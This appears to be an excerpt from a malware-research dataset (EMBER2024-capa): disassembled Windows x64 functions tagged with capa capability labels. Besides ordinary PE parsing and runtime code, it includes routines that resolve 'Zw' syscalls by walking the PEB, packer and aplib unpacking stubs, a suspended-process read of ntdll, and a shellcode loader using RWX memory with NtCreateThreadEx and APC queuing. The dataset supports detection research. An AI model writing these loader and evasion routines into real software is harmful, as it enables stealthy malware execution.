joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400020e8
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x1400740c0], 0
je 0x14000210b
mov edx, 1
jmp 0x1400022d2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
xor ebx, ebx
mov r8, qword [rax + 0x10]
xor eax, eax
mov rdx, qword [r8 + 0x30]
test rdx, rdx
je 0x14000216e
movsxd rcx, dword [rdx + 0x3c]
mov ecx, dword [rdx + rcx + 0x88]
test ecx, ecx
je 0x140002166
lea rax, [rcx + rdx]
mov ecx, dword [rax + 0xc]
add rcx, rdx
mov r9d, dword [rcx]
or r9d, 0x20202020
cmp r9d, 0x6c64746e
jne 0x140002166
mov ecx, dword [rcx + 4]
or ecx, 0x20202020
cmp ecx, 0x6c642e6c
je 0x140002178
mov r8, qword [r8]
mov rbx, rdx
jmp 0x140002120
test rax, rax
jne 0x14000217b
jmp 0x1400022d2
mov rbx, rdx
mov ebp, dword [rax + 0x1c]
mov edi, dword [rax + 0x24]
xor esi, esi
lea r13, [0x1400740c8]
mov edx, dword [rax + 0x18]
mov eax, dword [rax + 0x20]
add rdi, rbx
add rbp, rbx
lea r10d, [rdx - 1]
add rax, rbx
lea r12, [rax + r10*4]
add r10, r10
add r10, rdi
mov ecx, dword [r12]
add rcx, rbx
cmp word [rcx], 0x775a
jne 0x1400021e3
call fcn.140002030
mov r11d, esi
inc esi
shl r11, 4
add r11, r13
mov dword [r11], eax
movzx eax, word [r10]
mov eax, dword [rbp + rax*4]
mov dword [r11 + 4], eax
xor eax, eax
mov qword [r11 + 8], rax
cmp esi, 0x1f4
je 0x1400021f5
sub r12, 4
lea rax, [r10 - 2]
cmp rdi, r10
je 0x1400021f5
mov r10, rax
jmp 0x1400021a7
mov dword [0x1400740c0], esi
lea ebp, [rsi - 1]
lea r10, [0x1400740c8]
test ebp, ebp
je 0x14000225c
lea rdx, [0x1400740c0]
xor ecx, ecx
lea eax, [rcx + 1]
mov r8d, dword [rdx + 0xc]
mov rcx, rax
shl rax, 4
add rax, r10
mov r9d, dword [rax + 4]
cmp r9d, r8d
jae 0x140002250
mov edi, dword [rdx + 8]
mov r11, qword [rdx + 0x10]
mov r12d, dword [rax]
mov dword [rdx + 0xc], r9d
mov r9, qword [rax + 8]
mov dword [rdx + 8], r12d
mov qword [rdx + 0x10], r9
mov dword [rax], edi
mov dword [rax + 4], r8d
mov qword [rax + 8], r11
add rdx, 0x10
cmp ecx, ebp
jb 0x140002212
dec ebp
jmp 0x140002205
mov eax, dword [0x1400740cc]
mov r13d, dword [0x1400740dc]
xor edi, edi
lea r15, [0x140070a40]
sub r13d, eax
lea r12, [rbx + rax]
mov r14d, edi
cmp edi, r13d
jae 0x140002101
lea rdx, [r12 + rdi]
mov r8d, 3
mov rcx, r15
inc rdi
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x140002279
lea rdi, [0x1400740c0]
test r14d, r14d
je 0x140002101
add rdi, 0x10
cmp esi, ebp
je 0x140002101
mov ecx, dword [rdi - 4]
mov r8d, r13d
mov edx, r14d
inc ebp
add rcx, rbx
call fcn.140002058
mov qword [rdi], rax
jmp 0x1400022ae
mov eax, edx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002cf0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140003b50
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140003b50
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002d60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140076094]
mov rbx, rcx
test esi, esi
jle 0x140002e90
mov rax, qword [0x140076098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002dab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002e35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002d90
mov rcx, rbx
call fcn.1400037b0
mov rdi, rax
test rax, rax
je 0x140002eb2
mov rax, qword [0x140076098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400038f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140076098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002e97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002e2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002e40
add dword [0x140076094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140076098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002e2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002cf0
nop dword [rax]
xor esi, esi
jmp 0x140002db8
mov rax, qword [0x140076098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002cf0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002cf0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003420
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140076100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400760e0]
test rbx, rbx
je 0x14000347c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003473
test rsi, rsi
je 0x140003473
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003458
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400037b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400713f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400037d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400037d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400037d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000382d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003824
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400037d0
add rax, 0x28
cmp rax, r9
jne 0x140003810
xor eax, eax
ret

Function at 0x140003830
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400713f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000384f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003858
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000384f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400038f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400713f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000390f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003918
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140013120
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001128f
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014470
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014490
xor al, al
jmp 0x140014511
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400144a3
xor al, al
jmp 0x140014511
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400144cd
xor al, al
jmp 0x140014511
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400144e1
xor al, al
jmp 0x140014511
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400144f3
xor al, al
jmp 0x140014511
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001450f
xor al, al
jmp 0x140014511
mov al, 1
add rsp, 0x38
ret
Function at 0x140042f10
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140042f1d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140042f2d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140042f15
lea eax, [rcx + 1]
jmp 0x140042f3b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140042f4e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140042f34
sub eax, 3
jb 0x140042f6e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140042fbd
sar eax, 1
movsxd rbp, eax
jb 0x140042fa4
jmp 0x140042f7c
add ebx, ebx
jne 0x140042f7a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140042fa4
inc ecx
add ebx, ebx
jne 0x140042f8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140042fa4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140042f9d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140042f8c
add ecx, 2
jmp 0x140042fa9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140042ed2
jmp 0x140042f1d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2c00
mov dl, 5
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140043009
cmp rsi, rcx
jae 0x140043011
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140042ff0
cmp al, 0x8f
ja 0x140042ff0
cmp byte [rsi - 2], 0xf
je 0x140042ff6
sub al, 0xe8
cmp al, 1
ja 0x140042fda
cmp rsi, rcx
jae 0x140043011
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140042fe0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140043011
lodsb al, byte [rsi]
jmp 0x140042ff0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x40000]
mov eax, dword [rdi]
or eax, eax
je 0x14004306e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x75978]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14004301e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140043068
mov qword [rbx], rax
add rbx, 8
jmp 0x14004303e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400430a8
cmp al, 0xef
ja 0x14004309a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14004307a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140043089
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140043127], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140043127
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140043117
sub rsp, 0xffffffffffffff80
jmp 0x1400010f6
Function at 0x639a9058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x639a91df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x639a9089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x639a906f
add dl, dl
jne 0x639a9096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x639a90f6
xor eax, eax
add dl, dl
jne 0x639a90a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x639a91ad
add dl, dl
jne 0x639a90b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x639a90c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x639a90d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x639a90dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x639a90ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x639a907e
mov eax, 1
add dl, dl
jne 0x639a9106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x639a9113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x639a90fb
sub eax, ebx
mov ebx, 1
jne 0x639a914c
mov ecx, 1
add dl, dl
jne 0x639a912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x639a913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x639a9123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x639a907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x639a9168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x639a9175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x639a915d
cmp eax, 0x7d00
jae 0x639a919b
cmp eax, 0x500
jb 0x639a9196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x639a907e
cmp eax, 0x7f
ja 0x639a919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x639a907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x639a91d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x639a907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1404fad70
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1404fad7d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1404fad8d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1404fad75
lea eax, [rcx + 1]
jmp 0x1404fad9b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1404fadae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1404fad94
sub eax, 3
jb 0x1404fadce
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1404fae1d
sar eax, 1
movsxd rbp, eax
jb 0x1404fae04
jmp 0x1404faddc
add ebx, ebx
jne 0x1404fadda
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1404fae04
inc ecx
add ebx, ebx
jne 0x1404fadea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1404fae04
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1404fadfd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1404fadec
add ecx, 2
jmp 0x1404fae09
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1404fad32
jmp 0x1404fad7d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xc5c00
mov dl, 0x25
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1404fae69
cmp rsi, rcx
jae 0x1404fae71
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1404fae50
cmp al, 0x8f
ja 0x1404fae50
cmp byte [rsi - 2], 0xf
je 0x1404fae56
sub al, 0xe8
cmp al, 1
ja 0x1404fae3a
cmp rsi, rcx
jae 0x1404fae71
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1404fae40
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1404fae71
lodsb al, byte [rsi]
jmp 0x1404fae50
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x4f6000]
mov eax, dword [rdi]
or eax, eax
je 0x1404faeda
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x50225c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1404fae7e
jns 0x1404faeb3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1404faebd
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1404faed4
mov qword [rbx], rax
add rbx, 8
jmp 0x1404fae9e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1404faf1e
cmp al, 0xef
ja 0x1404faf06
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1404faee6
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1404faef5
mov eax, dword [rdi]
add rdi, 4
jmp 0x1404faef5
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x257]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1404faf72
sub rsp, 0xffffffffffffff80
jmp 0x1400c3600
Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400057c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002510
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002540
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002930
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x110
mov rsi, qword [0x140005890]
mov ecx, 0x1a
xor r9d, r9d
mov rax, qword [rsi]
mov qword [rsp + 0x108], rax
xor eax, eax
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x70]
mov rdi, rdx
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r8
xor eax, eax
xor r8d, r8d
mov qword [rsp + 0x40], rdx
lea rcx, [0x140005060]
xor edx, edx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rsp + 0x70], 0
jne 0x1400029b9
xor ebx, ebx
jmp 0x140002a49
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
or rcx, 0xffffffffffffffff
lea r8, [rsp + 0x88]
mov rdx, rax
call sub.KERNEL32.dll_K32GetModuleInformation
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x58], r8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8, qword [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9d, dword [rsp + 0x90]
mov rbx, rax
mov rdx, qword [rsp + 0x88]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400029b2
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsp + 0x108]
sub rax, qword [rsi]
je 0x140002a5b
call fcn.140002510
mov rax, rbx
add rsp, 0x110
pop rbx
pop rsi
pop rdi
ret
Function at 0x140002a70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov r13, qword [0x140005890]
mov rax, qword [r13]
mov qword [rsp + 0x78], rax
xor eax, eax
mov rsi, rcx
mov rbx, rdx
lea rcx, str.NTDLL.DLL
call sub.KERNEL32.dll_GetModuleHandleW
lea rdx, str.NtAllocateVirtualMemory
mov r14, rax
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtQueueApcThread
mov rcx, r14
mov rdi, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtCreateThreadEx
mov rcx, r14
mov r12, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtWaitForSingleObject
mov rcx, r14
mov r15, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtClose
mov rcx, r14
mov rbp, rax
call sub.KERNEL32.dll_GetProcAddress
xor r10d, r10d
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x60], r10
lea rdx, [rsp + 0x60]
mov r14, rax
mov eax, ebx
mov qword [rsp + 0x68], r10
lea r9, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call rdi
test eax, eax
jne 0x140002bcf
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
xor edx, edx
xor r8d, r8d
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r9
or r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call r15
test eax, eax
jne 0x140002bcf
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call r12
test eax, eax
jne 0x140002bcf
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002bc7
xor r8d, r8d
mov edx, 1
call rbp
mov rcx, qword [rsp + 0x68]
call r14
mov rax, qword [rsp + 0x78]
sub rax, qword [r13]
je 0x140002be0
call fcn.140002510
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret